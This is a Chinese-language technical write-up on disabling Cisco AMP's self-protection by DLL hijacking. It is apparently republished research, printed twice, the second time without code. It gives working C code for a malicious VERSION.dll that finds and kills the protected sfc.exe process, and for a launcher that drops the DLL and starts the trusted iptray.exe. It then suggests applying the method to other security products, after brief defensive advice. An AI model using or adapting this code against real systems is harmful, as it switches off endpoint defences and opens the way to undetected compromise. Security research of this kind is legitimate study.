思科AMP自我保护进程绕过
字数 1075 2025-08-19 12:41:50

思科AMP自我保护进程绕过技术分析

1. 背景介绍

思科AMP(Advanced Malware Protection)是一种端点保护技术,具有自我保护机制,即使在获得SYSTEM权限后也难以终止其关键进程(如sfc.exe)。本文详细分析了一种绕过思科AMP自我保护的技术方法。

2. 技术分析

2.1 自我保护机制观察

  • 关键进程:sfc.exe(受保护且难以终止)
  • 保护特性
    • 阻止进程注入
    • 阻止调试
    • 即使有SYSTEM权限也无法直接终止

2.2 突破口发现

通过思科AMP控制面板发现:

  • 禁用保护服务需要密码
  • iptray.exe程序可以禁用AMP的自我保护服务

这表明iptray.exe与sfc.exe受同一策略保护,且iptray.exe具有关闭保护的能力。

3. 绕过技术实现

3.1 技术路线

利用DLL劫持技术,通过以下步骤实现:

  1. 使iptray.exe加载自定义DLL
  2. 在DLL中执行终止sfc.exe的代码

3.2 详细步骤

3.2.1 DLL加载分析

使用ProcessMonitor观察到iptray.exe尝试加载多个DLL,其中许多首次加载失败。这表明存在DLL劫持机会。

3.2.2 设置DLL加载路径

使用SetDllDirectoryAAPI将DLL加载路径重定向到可控目录:

SetDllDirectoryA("C:\\Users\\xpn\\AppData\\Local\\Temp");

3.2.3 创建恶意DLL

以VERSION.DLL为例,需要导出所有原始函数(防止崩溃)并在DllMain中实现攻击代码。

3.2.4 攻击代码实现

在DLL_PROCESS_ATTACH事件中:

  1. 枚举进程查找sfc.exe
  2. 终止目标进程

关键代码:

toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
Process32First(toolhelp, &pe);
do {
    if (strncmp(pe.szExeFile, "sfc.exe", 7) == 0) {
        p = OpenProcess(PROCESS_TERMINATE, false, pe.th32ProcessID);
        TerminateProcess(p, 1);
        break;
    }
} while (Process32Next(toolhelp, &pe));
ExitProcess(0);

3.2.5 启动器程序

创建启动程序执行以下操作:

  1. 从资源中提取恶意DLL
  2. 设置DLL加载路径
  3. 启动iptray.exe

关键代码:

// 从资源获取DLL
HRSRC res = FindResource(g_hModule, MAKEINTRESOURCEW(IDR_RT_RCDATA1), L"RT_RCDATA");
HGLOBAL resMod = LoadResource(g_hModule, res);
void *resource = LockResource(resMod);
DWORD sizeOfResource = SizeofResource(g_hModule, res);

// 设置临时路径
GetTempPathA(sizeof(tempPath), tempPath);
snprintf(tempDll, sizeof(tempDll), "%s\\%s", tempPath, "VERSION.dll");

// 设置DLL路径
SetDllDirectoryA(tempPath);

// 写入DLL
HANDLE tempDllHandle = CreateFileA(tempDll, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL);
WriteFile(tempDllHandle, resource, sizeOfResource, &bytesWritten, NULL);
CloseHandle(tempDllHandle);

// 启动iptray.exe
STARTUPINFOA si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
CreateProcessA(NULL, (LPSTR)"C:\\Program Files\\Cisco\\AMP\\6.1.7\\iptray.exe", NULL, NULL, false, 0, NULL, tempPath, &si, &pi);

4. 技术要点总结

  1. 信任链利用:利用受信任的iptray.exe进程执行恶意代码
  2. DLL劫持:通过SetDllDirectory重定向DLL加载路径
  3. 进程终止:在DLL中枚举并终止目标进程
  4. 隐蔽性:利用合法进程执行攻击,绕过自我保护检测

5. 防御建议

对于防御方,可采取以下措施:

  1. 限制SetDllDirectory等API的使用
  2. 实施DLL签名验证
  3. 监控异常进程终止行为
  4. 加强关键进程的双向保护

6. 扩展思考

此技术可应用于其他具有类似保护机制的安全产品,关键在于:

  1. 寻找受信任的可执行文件
  2. 分析其DLL加载行为
  3. 找到合适的劫持点

该方法展示了在安全产品中,即使有强大的自我保护机制,也可能通过信任链中的薄弱环节被绕过。

思科AMP自我保护进程绕过技术分析 1. 背景介绍 思科AMP(Advanced Malware Protection)是一种端点保护技术,具有自我保护机制,即使在获得SYSTEM权限后也难以终止其关键进程(如sfc.exe)。本文详细分析了一种绕过思科AMP自我保护的技术方法。 2. 技术分析 2.1 自我保护机制观察 关键进程 :sfc.exe(受保护且难以终止) 保护特性 : 阻止进程注入 阻止调试 即使有SYSTEM权限也无法直接终止 2.2 突破口发现 通过思科AMP控制面板发现: 禁用保护服务需要密码 iptray.exe程序可以禁用AMP的自我保护服务 这表明iptray.exe与sfc.exe受同一策略保护,且iptray.exe具有关闭保护的能力。 3. 绕过技术实现 3.1 技术路线 利用DLL劫持技术,通过以下步骤实现: 使iptray.exe加载自定义DLL 在DLL中执行终止sfc.exe的代码 3.2 详细步骤 3.2.1 DLL加载分析 使用ProcessMonitor观察到iptray.exe尝试加载多个DLL,其中许多首次加载失败。这表明存在DLL劫持机会。 3.2.2 设置DLL加载路径 使用 SetDllDirectoryA API将DLL加载路径重定向到可控目录: 3.2.3 创建恶意DLL 以VERSION.DLL为例,需要导出所有原始函数(防止崩溃)并在DllMain中实现攻击代码。 3.2.4 攻击代码实现 在DLL_ PROCESS_ ATTACH事件中: 枚举进程查找sfc.exe 终止目标进程 关键代码: 3.2.5 启动器程序 创建启动程序执行以下操作: 从资源中提取恶意DLL 设置DLL加载路径 启动iptray.exe 关键代码: 4. 技术要点总结 信任链利用 :利用受信任的iptray.exe进程执行恶意代码 DLL劫持 :通过SetDllDirectory重定向DLL加载路径 进程终止 :在DLL中枚举并终止目标进程 隐蔽性 :利用合法进程执行攻击,绕过自我保护检测 5. 防御建议 对于防御方,可采取以下措施: 限制SetDllDirectory等API的使用 实施DLL签名验证 监控异常进程终止行为 加强关键进程的双向保护 6. 扩展思考 此技术可应用于其他具有类似保护机制的安全产品,关键在于: 寻找受信任的可执行文件 分析其DLL加载行为 找到合适的劫持点 该方法展示了在安全产品中,即使有强大的自我保护机制,也可能通过信任链中的薄弱环节被绕过。